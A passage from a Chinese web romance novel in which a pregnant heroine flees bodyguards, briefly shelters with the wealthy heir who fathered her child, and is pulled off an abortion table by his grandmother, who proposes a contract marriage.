意味着她和她肚子里那个未成型的孩子都将陷入万劫不复的深渊。 小路在前方出现了一个岔口,一条继续向下,另一条则拐向一条小巷子。 他们手里有武器,继续走大路实在是太危险了。 小巷子虽不好走,但还能躲着点,而且她知道一条小路,能够直通附近的一个商场。 只要到人流量大的地方,他们就不敢轻举妄动了。 通过小巷子之后是一条空旷的大路。 可时间太晚了,这会儿路上并没有什么人。 “二小姐!” 那些人依旧穷追不舍。 岑予衿的体力逐渐被消耗殆尽。 不能再跑了,再跑下去,她怕肚子里的孩子会有危险。 岑予衿的视线落在了道路尽头的两个男人身上。 一个穿着深棕色的皮衣,头上架着副墨镜,不知道和旁边的人在说什么。 另一个,穿着一身黑色长款大衣,深灰色的衬衫解了两颗纽扣,露出里面叠穿的黑色高领毛衣,袖口将灰色衬衫和毛衣随意的挽至小臂处。 他单手插兜,带着漫不经心的桀骜,手腕上价格不菲的黑色腕表格外惹眼。 岑予衿想都没想就选中了目标。 她像一只慌不择路的兔子,用尽最后力气,猛地撞向了那个穿着黑色大衣的男人! 她冲劲不小,男人显然毫无防备,被撞得一个踉跄,下意识后退了半步才稳住身形。 几乎是同一时间,他空闲的那只手条件反射地抬起,精准地扣住了岑予衿的腰,防止两人一起摔倒。 温香软玉猛地撞了满怀,带着奔跑后的急促喘息和一丝凛冽的夜风气息。 二世祖陆京洲直接被撞蒙了。 他今晚心情不算太好,刚跟狐朋狗友赛完车,爬他床的女人也还没找到,正漫不经心地把玩着手中的打火机,琢磨着找到了该怎么弄死她,谁能想到天上……不,是路上突然就“掉”下来个大活人? 他低头,只能看见女人浓密凌乱的黑发顶,以及微微颤抖的单薄肩膀。 她身上只穿着一件单薄的奶黄色外套,赤着脚,脚上沾满了尘土和细小的伤痕,看起来狼狈又可怜。 “艹?你吃了熊心豹子胆了,敢扑他……”旁边穿着棕色皮衣的程凌晟,惊得墨镜都滑到了鼻梁上,目瞪口呆地看着这突如其来的一幕。 陆京洲还没反应过来,怀里的女人却像是抓住了救命稻草,双臂死死环住他的腰,把脸深深埋进他胸膛,用带着哭腔和极度恐惧的颤抖声音哀求道,“求你,救我。” 她的声音破碎,带着一种走投无路的绝望,陆京洲的眉头不自觉的皱了起来。 好熟悉的味道! 好熟悉的声音!! 好熟悉的感觉!!! 第6章 冤家路窄,扑陆京洲怀里了 程凌晟清楚的知道下一秒会发生什么。 陆京洲会毫不犹豫的推开怀里的女人。 别问他是怎么知道的! 因为半个小时前,‘皇都’也有个主动撞进他怀里的女人,被他毫不怜香惜玉的丢到垃圾堆里,甚至还丢了工作,终身不得聘用! 他已经默默的在心里替这个女人上了柱香了。 心里默数着:三,二,一! 岑予衿其实也在赌,至少还有一半的机会,他看起来就不好惹! 不过……她这么觉得他身上的味道怎么那么熟悉。 还有这身材跟建模似的,有点像陆京洲。 那天晚上他身上的衣服是她亲手脱的,环着他腰就是这种感觉。 也许身材好的男人都一个样吧,这个世界上哪有那么巧合的事儿。 岑予衿听着身后的动静和男人的沉默,心愈发慌,抱着她腰的手更加用力,恨不得嵌进他的身体。 陆京洲被她动作打断思绪,看着追过来的那些保镖,唇角往上勾了勾,有趣! 怀里这女人是触犯了什么天条,要这么多人追。 陆京洲掀开自己的黑色大衣将人紧紧裹在其中。 饶有兴趣的看着越来越近的保镖。 程凌晟的预判,在陆京洲展开大衣将女人裹进怀里的时候就碎了一地,仿佛第一次认识他。 他什么时候这么有善心了,居然会多管闲事? 要么是吃错药了,要么就是喝了假酒! 追来的保镖们瞬间已至跟前。 为首的那个一眼认出了陆京洲,脚步猛地顿住,脸上的煞气立刻被恭谨取代。 他身后几个手下也显然认出了这位惹不起的人物,眼神交换间,都看到了彼此的不敢造次。 岑予衿仓惶躲入陆京洲怀中的那一幕,以及此刻大衣下那明显不属于陆京洲的窈窕轮廓,他们都看得一清二楚。 空气仿佛凝固了。 保镖头领的额角渗出了细密的汗珠。 他清楚地知道人就在陆总怀里,但给他一百个胆子,他也不敢直接伸手去要。 短暂的死寂后,保镖头领上前一步,腰弯成了一个极其谦卑的弧度,声音带着小心翼翼的讨好,“二爷,晚上好。实在抱歉,打扰您了。” 他身后的一个年轻保镖似乎有些不解,下意识地往前凑了凑,目光忍不住往陆京洲怀里瞟,嘴唇动了动,似乎想说什么。 头领眼角余光瞥见,吓得魂飞魄散,反应极快地用胳膊肘狠狠撞了一下那愣头青,用眼神厉声制止了他任何可能冒犯的举动。 陆京洲将这一切尽收眼底,唇角勾起一抹冷意十足的弧度,好整以暇地看着他们,并不说话。 为首的那个,咽了咽口水,拐弯抹角的问,“那个……有没有看到一个穿着奶黄色休闲服的女人跑……跑过去?” “没有。”陆京洲的一只手紧紧锢她,另一只手轻抚着鼓起的轮廓。 那动作明摆着告诉他们,人在我怀里,敢抢吗? 为首的那个额头上已经有了细腻的汗珠。 死脑子快转呐! 要是明天交不出新娘,死的可就是他们兄弟几个了。 怎么就遇上这个活阎王了? 明明那个浅粉色羊绒大衣的衣角都露出来了,可他们就是不敢要人啊! 走也不是留也不是。 陆京洲见他们没有要走的意思,轻哼一声,“还杵在这干嘛?” “二少,求您高抬贵手把人还给我们吧。”为首的保镖就差给人跪下了。 陆京洲若有所思,“哦~这是看出来了?” 这只要不是瞎子,是个近视的人都能看出来吧。 保镖们点头如捣蒜,“看出来了。” 陆京洲也没在废话,一把掀开了自己的大衣,怀里的人儿就这么暴露在了他们的视线中。 几个保镖眼睛都亮了,陆二少这是要把人给他们? 岑予衿本就趴得好好的,被这个突如其来的动作吓了一跳。 冷风灌进来,她哆嗦了一下,不知是冷的还是吓的。 环着他腰的手丝毫没有要松的意思,仰头刚要说话,直接愣住。 陆……陆京洲! 真是冤家路窄! 她直接扑二世祖陆京洲怀里了。 以他的性格,绝对不会帮她。 完了,这回是真的全完了。 实在不行就坦白说自己怀了他的孩子吧。 可是……这会不会一尸两命,死得更惨。 岑予衿人都傻了,就这么呆呆的望着他,眼尾微红,像是受到了天大的委屈。 陆京洲低头,那张精致得跟瓷娃娃似的小脸就这么猝不及防的闯进了他的眼睛。 有乖又软,一看就是欺负了也不会反击的小白兔。 仰着头,头发微微凌乱,湿漉漉的眼睛承满了委屈,乞求的意味明显,却不知道该怎么开口。 我见犹怜这词形容她最为贴切。 陆京洲鬼使神差的抬手帮她把凌乱的发丝抚平。 目光扫过众人,在他们期待的目光中,将人打横公主抱了起来,“滚开!闷着我家小白兔了。” 程凌晟像是第一天认识他! 几个保镖也傻了眼,这……不是说这位爷不近人情,不管闲事的吗? “陆……陆二少,您饶我们一命吧,这……您要是把他带走了,大少爷会杀了我们的。” 陆京洲看了一眼乖乖缩在他怀里,手还搂着他脖子的女人,眼底的笑意更浓,“你们会死?” “嗯嗯嗯!” 陆京洲:“死就死呗,关我什么事儿?” 众人:“……” 陆京洲抱着人大步流星的离开,连个眼神都没分给他们。 程凌晟反应过来之后立马跟上。 几个保镖,对视了一眼,也跟了上去。 陆京洲听到脚步声转身,眼神凌厉,周身的气场都变了,“敢在跟上来一步,不用等到明天,我让你们现在就死。” 听到这话,几人立马停住了脚步。 就这么看着他把人抱走。 “蠢货,通知大少爷了吗?” “已经通知了,可大少爷,电话不接,消息不回,估计是忙着给夫人过生日。” 领头的保镖眉头皱的能夹死只苍蝇。 岑予衿不知道他葫芦里卖的什么,他不会已经认出自己是谁了吧? 那天晚上他都已经不省人事儿了,应该不会吧。 她是这么安慰自己的,可心里一点底都没有。 他到底要把她带到哪去啊? 第7章 怀孕了,一个月,预约了人流 陆京洲抱着岑予衿,走向不远处停着的黑色宾利。 程凌晟像个好奇宝宝似的紧跟在后,嘴巴几次张开,话又被硬生生的咽了回去。 车门被司机恭敬地打开,陆京洲弯腰,动作算不上温柔地将岑予衿塞进了宽敞的后座,自己也随即坐了进去。 “砰”地一声,车门隔绝了外面的喧嚣。 密闭的空间里,只剩下他们两人,以及若有若无缠绕在一起的呼吸声。 岑予衿几乎是立刻缩到了离他最远的角落,低垂着头,心脏在胸腔里擂鼓。 和他同在一个空间,无时无刻不在提醒她那一晚的荒唐。 陆京洲靠在真皮座椅上,姿态慵懒,审视的目光毫不遮掩的落在她身上。 “小白兔,看着我!” 岑予衿哪敢啊! 她承认那天晚上她的胆子不小,可现在是真怂。 又不敢不听她的话,抬起头看着他,眼神飘忽。 “我们是不是见过?”陆京洲的拇指轻轻摩挲着她的下唇,声音透着玩味儿,“你的味道,还有你抱我腰的力道很熟悉。” 岑予衿的心“咯噔”一下,猛地摇头,声音发颤,“没有,绝对没见过!” 她否认的太快了! 有问题绝对有问题! 岑予衿下意识往后缩,却被他另一只手扣住腰,狠狠拽回怀里,鼻尖直接撞上他坚硬的胸膛。 “哦?”陆京洲低笑出声,热气拂在她发顶,“没见过?” 他指尖滑到她的后颈,轻轻捏了捏,“可我怎么觉得,你看我的眼神,像偷了东西的小贼?” 岑予衿浑身一僵,心虚得指尖都在泛白,“我……我只是怕你……” 她已经把能想到的借口全想了一遍,尾泛着粉色,“我怕你把我交出去,那些人会把我抓回去。” “怕我?”他俯身凑近,鼻尖几乎要碰到她的,语气带着痞气的调侃,“那你还敢扑进我怀里?” 岑予衿被他逼得无路可退,只能闭上眼睛,胡乱点头,“我是走投无路了!陆先生您大人有大量,放过我吧!” 陆京洲看着她缩在角落里的样子,下意识的看向前方后视镜,他有那么吓人吗? 怕成这个样子。 不过……她给自己的感觉就是很熟悉。 就是想不起来到底在哪见过。 陆京洲刚要开口试探。 手机铃声突兀地在密闭车厢内响起,打破了两人之间危险的僵持。 陆京洲眉头微蹙,显然对这通不合时宜的来电感到不悦。 他扣在岑予衿腰间的力道下意识地松了一瞬,另一只手伸向口袋去掏手机。 就是现在! 岑予衿敏锐的捕捉到了这转瞬即逝的机会。 求生的本能盖过了恐惧,她不知哪来的力气,猛地挣脱了他残余的钳制,身体像一尾滑溜的鱼,几乎是凭着直觉扑向身侧的车门把手! “咔哒!” 车门锁应声而开!由于车子只是停着,并未落锁或行驶,这声轻响在寂静中格外清晰。 “找死!” 陆京洲反应极快,在她动作的瞬间脸色就沉了下去,伸手欲抓。 但岑予衿的动作带着一种豁出一切的决绝,快得惊人! 车门被猛地推开,夜晚凛冽的风瞬间灌入车厢。 陆京洲长臂一探,却只来得及抓住她的衣服袖子。 岑予衿根本顾不上其他,顺着他的力道,把外套脱了。 质地优良的浅粉色羊绒大衣,留在陆京洲手中。 而她本人,踉跄着跳下了车,头也不回地扑进了夜色之中。 陆京洲看着手中的羊绒大衣,再抬头望向那个迅速消失的背影,眸色沉得能滴出水来。 他对着手机那头冷冷说了一句“稍后联系”便直接挂断。 车厢内气压低得可怕。 在外头等着的程凌晟都惊呆了,完全没预料到会发生这一幕。 程凌晟扒着车窗,目瞪口呆,“阿洲!这……这什么情况?那小姑娘怎么……跑了?你对她做什么了把她吓成这样?” 陆京洲没理会他的聒噪,低头,指尖摩挲着那件残留着女孩体温和淡淡香气的羊绒大衣,眼神晦暗不明。 跑? 在京城,还没有他陆京洲找不到的人。 尤其是……一个让他感到如此熟悉,又如此“做贼心虚”的小兔子。 他扯了扯嘴角,露出一抹带着冷意和势在必得的笑。 “查。”他对着程凌晟吩咐,声音没有一丝波澜,“给你半个小时。” 陆京洲靠在椅背上,闭上眼,脑海中浮现的是她刚才惊慌失措的眼神,以及挣脱他时那截纤细脆弱的腰肢。 跑得掉吗? 心虚的小白兔。 程凌晟难以置信的抬手指着自己,“查?你说我吗?” “不然呢?”陆京洲猛的睁开眼睛,反问。 “大哥,我是你好兄弟,不是顶尖黑客,半个小时,那你还不如杀了我。” 程凌晟钻进车里,从小冰箱里拿了瓶冰水,拧开瓶盖喝了。 这会像是想到了什么,把瓶盖拧上,“你上次让我查的把你睡的那女人,我都没查到一点线索,你到底想让我先查啥?” 说来也奇怪,走廊的监控全部都在,只消失了她进房间和出房间的。 就像是压根没有这么回事儿。 可……自己的好兄弟就是被人睡了,他总不可能说谎吧? “以你的脑子本来也查不出来!” 程凌晟觉得自己被侮辱了,但是……确实没办法反驳。 “找人去查,以最快的速度查出来,钱从我账上划!” 听到这话程凌晟立马来了精神,“得嘞,我的大少爷。” 他又可以中间商赚差价喽。 岑予衿跑到安全距离才停下来,大口大口的喘着粗气。 确定后头没有人追上,才微微松了口气。 真是前有狼后有虎。 幸好……那个电话打的及时。 刚缓过来没多久,一辆疾驰而来的车就停在了她身侧。 岑予衿下意识的护着小腹,往后退了半步,心情就像坐过山车,跌宕起伏。 直到车窗缓缓降下,露出谢司喻那张脸,她才完全放松下来。 “都深秋了,才10度,怎么穿那么少?” 岑予衿没时间回答他的话,生怕陆京洲那个疯子会追上来,赶紧打开了副驾驶的车门,坐了进去。 谢司喻把所有车窗关上,打开了暖风,“我在门口等你,一直没看到你出来,怎么跑这儿来了?” “发生了点意外,今天……走不了了。” 岑予衿不断的哈着气搓着手,被冻的小脸发青。 谢司喻解开安全带,从后座抽了张羊绒毯子递给她,“裹着吧,太冷了。” “谢谢。”岑予衿也没再跟他客气,赶紧裹上。 “送我去圣禾妇产医院。” 谢司喻听到这话,太阳穴突突直跳,“你哪里不舒服?” “怀孕了,一个月,预约了人流。”岑予衿的声音淡淡的,听不出什么情绪? 怀孕了? 一个月,那不就是周时越把她送到十几个房间里那晚? 第8章 岑予衿,我们结婚吧 谢司喻的脑子嗡嗡的。 不知道该怎么开口,感觉说什么都不太对。 周时越失忆回来后就是个脑残,这种事情都做的出来。 说是人渣都抬举他,简直……太他妈不是人了! 是畜生! 谢司喻偏过头,根本不敢看她,声音都有些抖,“会不会只是单纯的身体不舒服?” “我用验孕棒测过了,不会错的。”岑予衿的声音听不出什么起伏。 可是谢司喻知道,越是没有情绪起伏就越危险。 正常人遇到这样的事情,会哭,会闹,会愤怒……可是她没有。 他沉默的启动车子,黑色的轿车平稳驶入车流。 过了好一会,自己的情绪平复了,他才开口,声音坚定又认真,“予衿,你放心,这件事情只会有我们两个人知道。” 他侧头看了她一眼,女孩没什么血色的脸在窗外流动的霓虹光影中显得格外脆弱。 “其他的事情,交给我来处理。医院那边,我会打点好,确保绝对隐私。术后休养的地方我也会安排好了,很安全,没有人能找到。” 他的话语像是一道坚固的屏障,试图将外界所有的风雨都隔绝开来。 岑予衿有些意外的转头看向他,鼻尖莫名有些发酸。 谢司喻曾是周时越最好的朋友,她从来没有想过他会毫不犹豫的站在自己身后。 也许是这两年,两人同一战线,拼了命的找周时越有线索。 配合默契,一个找他,另一个留守公司。 他平安回来,没有人比他俩更开心。 可他回来之后一切都变了。 “谢谢。” “跟我还这么客气?”谢司喻冲她扯了一个比哭还难看的笑,继续开车。 岑予衿攥紧了手机,手机震动了一下,弹出了条信息,【你要的东西已经发送成功,可以按照原计划进行。】 岑予衿:【嗯,报酬老样子,打你卡上了。】 【收到。】那边回了个ok的手势。 岑予衿放下手机,弹手抚上自己的小腹。 宝宝,能不能留下来,就靠你自己了。 车子即将到达医院。 一直没说话的谢司喻像是下定了什么决心,开了口,“岑予衿,我们结婚吧。” 这句话像是一道惊雷,炸得岑予衿一时间不知道该说什么。 脑子还有些转不过弯来,“谢司喻,你知道……你在说什么吗?” 谢司喻语气认真,“我当然知道我在说什么。” 他重重的叹了口气,沉声道,“以今天晚上这么大的动静来看,出国这条路是行不通了,周时越早就在各个站口安排了人,你一出现准会被逮回去。” 从小同穿一条裤子长大,他可太清楚他的性格了,也知道他能做到。 周氏是京城八大家族之一。 随不像陆家那么强大,却也有足够的实力。 周氏又是以航空领域发家,拦个人这点能力还是有的。 “这不合适。”岑予衿想都没想就拒绝了。 她的计划她不能跟任何人说,知道的越多,暴露的风险就会越大。 要是被陆家的人抓住把柄,她所做的一切努力都功亏一篑。 “有什么不合适的?”谢司喻的情绪明显激动。 “谢家和周家是世交,我们结婚,不就是在打周家的脸?” 谢司喻轻哼一声,“你到现在了还在考虑那个畜生是不是?” 周时越就真那么好? 也不能这么说,没失忆的周时越确实是白月光一样的存在,可失忆后的他连前夫都算不上,是前科! “没……” 谢司喻打断了她接下来的话,“你放心,我对你绝对没有什么非分之想,咱们俩先结婚,你就不用进那个火坑。” 这岑予衿100%相信。 她就不是他喜欢的类型,要是他们俩之间真有点什么火花,早在一起了。 “谢家和周家实力相当,你嫁给我,周时越不敢公然抵抗谢家,这是最好的办法。” 谢司喻越想越觉得可行,“咱们表面装恩爱夫妻,晚上分房睡。等这个风波过去了,咱们再离婚。到时候我送你出国,一辈子都别回来了。” 哪怕是周时越恢复记忆也别回头! 他不配! “我和周时越之间的那点事,两家人清清楚楚,就算你真的想娶我,你家人会同意吗?” 谢司喻高深莫测的摇了摇头,“你们俩就领过个证,婚都没订过,能有多少人知道?况且我妈那是真心喜欢你,不知道跟我提过多少次,我们谢家可不像周家,你嫁过来绝对不会有婆媳矛盾。” 岑予衿:“……” 如果没有肚子里的小崽崽。 没有一个月前,那天晚上发生的事情。 这确实是个可行的办法。 可现在……一切都来不及了。 她招惹了不该招惹的人,不能再拖谢司喻,拖谢家下水了。 谢司喻余光摸到她低头,手还轻轻搭在自己的小腹上,一下子全都明白了。 他……怎么能在这个时候逼她,跟他说这些话呢。 艹!自己也是太不是东西了。 也是畜生! “对不起,我不该逼你,现在你什么都不用想,先做手术,等身体恢复了再告诉我答案,这段时间我不会让人打扰你的。” 岑予衿点了点头,“谢谢。” 谢司喻继续开车,车内瞬间恢复诡异的安静。 车子抵达医院,谢司喻拿毯子把岑予衿裹得严严实实的,只露出个眼睛,带着她妇科方向走。 术前必须做项目还挺多。 谢司喻没让旁人插手。 带着她去做了B超,常规妇科检查,血检,最后是心电图。 确定她的身体没什么问题,可以做人流才松了口气。 看着她可怜巴巴的模样,也不知道该怎么安慰。 岑予衿是孕初期,可以选择药流和无痛人流。 她选择了无痛人流。 药流持续的时间长,且喝下药之后就再也没有反悔的余地了。 这……不是她最终的目的。 “周小姐,可以进手术室了。” 小护士的声音,将她从自己的思绪中抽离了出来。 岑予衿麻木的起身,和小护士一块往里走。 跟着她消毒,换上了无菌服。 躺在了冰冷的手术台上。 双手紧紧攥着自己的衣服。 第9章 被老太太从手术台上揪下来 冰冷的无影灯打在脸上,岑予衿心脏在胸腔里疯狂撞击的声音,震得她耳膜生疼。 她闭上眼,努力想让自己平静下来,但身体却不受控制地微微颤抖。 要是出了意外,她真的要放弃这个孩子吗? 她不知道。 “放轻松,周小姐。”一个温和的女声在耳边响起,是负责麻醉的医生。 她似乎看出了岑予衿的极度紧张,一边准备着麻醉剂,一边安抚道,“只是睡一觉,很快就结束了,一点也不疼的。” 医生的话语轻柔,却像羽毛一样搔刮着她紧绷的神经。 她能感觉到冰凉的酒精棉在手臂皮肤上擦拭,带来一阵战栗。 麻醉师拿起了针剂,那细长的针尖在灯光下闪烁着寒光,缓缓靠近她的血管。 “医生,他会疼吗?” “当然不会,他还只是个细胞,胎心,胎芽都没有发育完全。”医生贴心的安慰着她。 岑予衿的心几乎提到了嗓子眼,攥着衣角的手指关节因为用力而泛白。 算着时间……应该快到了。 她在心里默默倒数,等待着那预料之中的变故。 可迟迟没有到来。 “医生……”岑予衿不想做手术了,生下孩子,挟天子以令诸侯,也是条路。 “怎么了?” 就在针尖即将刺入皮肤的刹那——“砰”的一声巨响! 手术室的门打开了。 穿着黑色西服的保镖鱼贯而入。 “周小姐,陆老夫人要见您。” 随着他的话落下,医生似乎也猜到了是怎么回事儿。 听到陆老夫人,这么大的阵仗肯定是京城陆家的,哪敢得罪陆家,都低着头出来手术室。 岑予衿嘴角微微勾了勾,又瞬间恢复正常,脆弱、无辜又可怜,偏头看着他们,“你们是谁?我不认识你们,更不认识什么老太太,你们出去,别耽误我做手术。” 说着说着,眼眶都开始红了。 撑着手术台,坐了起来,看起来像是受了天大的委屈,那泫然欲泣的模样楚楚可怜。 这……不知道的人还真以为是陆京洲对她做了什么。 保镖们个个面无表情,重复了一遍刚才的话。 手术室里弥漫着一种微妙的僵持。 为首那个向前迈了半步,声音平稳,却带着不容置疑的压迫感,“周小姐,请不要让我们为难。” 他微微侧头,示意了一下。 两名保镖上前,一左一右,动作看似礼貌实则不容拒绝地扶住了她的手臂,想要将她从手术台上带下来。 岑予衿的抗拒在训练有素的保镖面前显得徒劳。 他们来了,计划的第一步成了。 但面上,她反而显得更加惊惶无助,猛地抬起头,泪水终于恰到好处地滑落,沿着苍白的脸颊滚下,“放开我!” 眼泪控制不住的,大滴大滴滚落,无声的哭泣,比嚎啕大哭更让人心碎。 “哎呦喂!这是干什么呢,我腿脚不便,让你们先过来,没让你们这么欺负我孙媳妇儿。” 一道带着明显心疼和怒意的女声从门口传来,瞬间打破了手术室内的僵局。 所有人动作一顿,循声望去。 只见一位穿着雍容华贵,满头银发的老太太,快步走了进来。 陆老夫人虽然年事已高,但精神矍铄。 此刻她眉头紧皱,脸上满是焦急和心疼,眼神像刀子一样扫过那几个抓着岑予衿的保镖。 保镖们立刻松开了手,恭敬地退到一边,低下头,“老夫人。” 陆老夫人根本顾不上他们,她的目光完全被手术台上那个哭得梨花带雨的女孩吸引住了。 她的第一印象就是乖! 又乖又漂亮,就陆京洲那个臭小子怎么配得上啊? 岑予衿此刻的模样,精准地戳中了老太太心中最柔软的地方。 单薄的手术服,眼圈和鼻尖都哭得红红的,鬓边的碎发有些凌乱地贴在泪湿的脸颊旁,整个人脆弱得仿佛一碰就会碎掉。 尤其是那双含泪的眼睛,清澈、无助,写满了惊惧。 “哎哟,我的心肝儿啊!可怜见的,吓坏了吧?”陆老夫人三步并作两步走到手术台边,一把推开还挡在面前的保镖。 伸手就想把岑予衿搂进怀里,又怕碰疼了她,手忙脚乱地用自己的丝质披肩裹住她单薄的身体,“没事了没事了,奶奶来了,看谁还敢欺负你!” 她一边轻轻拍着岑予衿的背,一边扭头对着那群保镖训斥,“谁让你们动手的?吓着我的宝贝孙媳妇和重孙子,我跟你们没完!滚出去等着!” 保镖们噤若寒蝉,连忙鱼贯而出。 岑予衿顺势靠在老夫人温暖柔软的怀里,身体还在微微发抖,眼泪流得更凶了,小声地、委屈地啜泣着,仿佛找到了主心骨,又像是受尽了天大的委屈。 陆老夫人看着她这副样子,心都要疼碎了,拿出自己随身携带的手帕替她擦着眼泪,连声安慰,“不哭了不哭了,乖孩子,是奶奶来晚了。” 老太太的到来让岑予衿脑子里紧绷的那根弦彻底放松了下来。 老太太比自己想象中的还热情。 左一句孙媳妇儿又一句重孙子。 完全是认可他们娘俩。 根本没必要她再说什么。 她要做的就是装作什么都不知道,把自己放在受害者的位置。 陆老夫人也是个有耐心儿的,哄了许久才把人哄好,“笙笙,这儿怪冷的,你身子弱,咱们去暖和一点的地方说好不好?” 岑予衿已经习惯了被叫周小姐,乖乖的点了点头。 扶着陆老夫人往外走。 陆老夫人直接带着她去了,顶层的VIP病房。 还没进门呢,就见老管家提着一个高档礼盒站在门口。 “周小姐,穿件外套吧,别着凉了。”他和善的将手里的礼盒递给她。 这显然是陆老夫人安排的。 岑予衿还没有动作呢,老夫人先她一步接过礼盒,拿出里面浅杏色的羊绒大衣。 先将她把身上披着的披肩拿下来,贴心的帮她把大衣穿好,“别着凉了。” “谢谢。” 说罢牵着她的手往里走,将她带到沙发上坐下。 岑予衿这才有机会开口,不解的我想,眼神透着无辜,“可以冒昧的问一下,您是?” 陆老夫人慈爱的看着她,轻轻的拍了拍她的小手,语气里是恨铁不成钢,“我是陆京洲那混球的奶奶,也是你肚子里小宝宝的太奶奶。” 岑予衿听到这话,眼神瞬间从无辜变为震惊,眼眶立马蓄满了泪珠。 第10章 我的意思是让你和京洲结婚 岑予衿难以置信的抬手扶上自己的小腹,“所以……那天晚上是陆二少?” 陆老太太点了点头,“嗯。” 岑予衿立马开口为自己辩解,“老夫人,那天情况危急,我真的不是有意闯进陆少爷的房间。” 眼泪恰到好处的落下,“我刚进去就被一具滚烫的身体控制住了,想挣扎却怎么也挣脱不开……” 划重点,滚烫的身体! 她拐弯抹角的在提醒老太太是陆京洲被下药了。 岑予衿欲言又止,抬手擦干了脸上的泪水,声音认真,眼神坚定,“那天晚上的陆少爷感觉不太正常,应该是被人下药了。这事也怨我,是我自己闯进二少爷房间的,他也算受害者。” 说着生怕她不相信的继续补充,“那药真不是我下的,至于……肚子里的宝宝,只是个意外,我能处理好,我不会不识好歹的闹到陆家。” 这老太太自然是无条件相信她说的。 毕竟自己孙子的药是她下的。 原本是想撮合一下宋丫头宋清菡,没成想那丫头跑国外去了。 面前这小丫头成了受害者。 目的虽然达成了,却是好心办了坏事儿。 “老夫人,我今天原本就是过来做手术的,如果……您不相信的话,可以在这儿等我几个小时,我做完手术,您就可以放心了。” 老夫人一听,一下子就慌了,她不是这个意思啊! 一想到那个臭小子就来气,气着气着都忘记了自己是来干嘛了。 “笙笙,奶奶来这儿不是想逼你把肚子里的宝宝打了,我有个不情之请。”老太太一想到自己那个混账孙子的所作所为,压根开不了口。 可……这要是不开口,她这孙子注定要打一辈子光棍。 哎……为了那个混账自己的老脸都要豁出去了。 “我是想求你……能不能把宝宝生下来?那毕竟是陆家的孩子,我们不能坐视不管。” 岑予衿咬着下唇,小脸毫无血色,“老太太……我能拒绝吗?我不想让孩子一生下来就没有妈妈,我把他带到这个世界上,就是要对他负责。我也不想未婚先孕。” 这都哪跟哪儿啊? 老太太都要急死了。 她没有要去母留子的意思。 “傻孩子,谁说孩子会没有妈妈?”陆老太太急忙拉住岑予衿冰凉的手,语气急切,“奶奶的意思是,希望你能和京洲结婚,给这个孩子一个完整的家。” 岑予衿怔住了,长长的睫毛上还挂着泪珠,“结婚?可陆二少他……他根本不认识我。” “那混账东西确实不像话,嫁给他确实委屈你了!”老太太恨铁不成钢地叹了口气,“但既然事情已经发生了,陆家就必须负责到底。你放心,有奶奶在,从今往后,绝不会让你受半点委屈。” 岑予衿垂下眼帘,指尖无意识地绞着衣角。 这个提议在意料之外,也在情理之。 顺利的有些过分了。 “老夫人,感情的事强求不来的。”她轻声说,语气里带着恰到好处的脆弱,“陆二少那样的人物,怎么会愿意娶我这样无趣的人呢?” “他敢不愿意!”老太太提高音量,随即又软下声音,“笙笙,奶奶是真心喜欢你。第一次见你时就觉得你懂事又善良。那混小子就是被惯坏了,需要个像你这样的好姑娘管着他。” 她敢管陆京洲? 一想到他在车里那凶神恶煞的样子就害怕。 她不敢管,更不会管! 她嫁进陆家只有一个目的,靠着陆家夺回自己的一切。 把周时越和林舒薇加注在她身上的痛苦千倍万倍的讨回来。 “我……” “笙笙,我知道这件事情很委屈你,你想要什么补偿跟奶奶说,奶奶会尽量弥补你。” 岑予衿低着头,不知道该提些什么。 现在他最重要的是恢复自己岑予衿的身份。 可……周时越前几天才给她办了那么盛大的葬礼。 闹得人尽皆知。 京城顶级豪门陆家绝对不会让一个已经嫁过人了女人进门。 等一切都过去,她会跟老太太坦白。 但绝对不是现在。 好不容易抓住的机会,她不能赌也不敢赌。 “婚姻大事,我再考虑考虑可以吗?” 老太太来之前其实已经查过了,这个突然间冒出来的周家二小姐。 之前一直在国外,前几天听到风声说要一个年纪大得能当他爹的老头子联姻。 显然在家里是不受宠的。 只要开出足够的条件,她应该不会拒绝。 “笙笙,我来之前呢也查过了,你明天和张家的人联姻?” 岑予衿早就料到了老太太会查,也没瞒着,点了点头,“嗯。” 见她点头,老太太立马开出自己的条件。 老太太见岑予衿神色松动,连忙趁热打铁:“笙笙啊,我知道京洲那小子名声不太好。但他长得可不差,整个京城都找不出几个比他俊的。” 老太太赶紧掏出手机掏出手机,翻出相册里陆京洲的照片,“你看这眉眼,这鼻梁,多标致啊!以后生出来的宝宝肯定漂亮。” 那倒确实是。 陆京洲那张脸真的是权威到没边了。 岑予衿瞥了一眼,照片上的男人确实俊美非凡,只是眉宇间透着几分桀骜不驯。 “再说我们陆家,在京城什么地位你也清楚。你嫁进来就是二少奶奶,谁见了你不得客客气气的?”老太太压低声音,“那张家的老头子都快六十了,肯定不行还有老人味儿了,哪比得上我们京洲年轻力壮?性福是要掌握在自己手里。” 老太太说的太过直白岑予衿耳根都红了。 老太太见状更是卖力,“你要是嫁进来,奶奶先给你五千万零花钱,再送你一套西山别墅。京洲虽然不务正业,但陆家的分红足够你们挥霍几辈子了,对了……周家的股份要不要?” 岑予衿听到这话心脏明显漏跳了一拍。 “哪有父母会把自己的宝贝女儿嫁给一个快60岁的老头,既然他们偏心,奶奶就帮你把属于你的那份抢回来,怎么样?” 她开出的条件越来越诱人。 老太太握住岑予衿的手,语重心长,“我知道你是个好孩子,不在乎这些身外之物。但奶奶是真心疼你,不想你嫁给那个老头子受委屈。” 岑予衿垂下眼帘,掩去眼底的算计。 她当然不在乎陆京洲是不是二世祖,她在乎的是陆家这块跳板。 而且陆京洲肯定没有表面上那么简单。 毕竟他9岁,就在计算机方面显现出了惊人的天赋。 “老夫人,我......”她故作犹豫,“我只是怕陆二少不愿意。” “他敢不愿意!”老太太一拍大腿,“这事由不得他!你要是点头,奶奶这就让人准备婚礼,马上办!” 岑予衿鼓起勇气,继续谈条件,“老夫人,我也还有个条件。” “你说,别说是一个,100个我都答应你。” “我先和您签一份离婚协议吧。算是协议结婚。要是一年后,陆总对我没意思,又或者是他有了喜欢的人,我们离婚,宝宝也不是非婚生子。” 老太太听到这话,不自觉的皱起了眉头。 第11章 阿洲,你真要娶那个丑八怪? 老太太心里咯噔一下,面上却不显山不露水。 这丫头,心思比她想的还要缜密,居然提前把退路都想好了。 一年?她那混账孙子要是一年内能开窍,她也不用愁白了头,担心他孤寡一辈子。 不断的在心里盘算着,本着能拐一个是一个的想法! 那臭小子花名在外,脾气又臭,京城里稍微有点头脸的人家,谁愿意把闺女往火坑里推? 眼前这姑娘,模样好,乖乖的,关键是肚子里已经有了陆家的种,简直是老天爷送上门的机会,姻缘上天注定。 至于感情……有一年时间,朝夕相处的,就算是块石头也能捂热了吧? 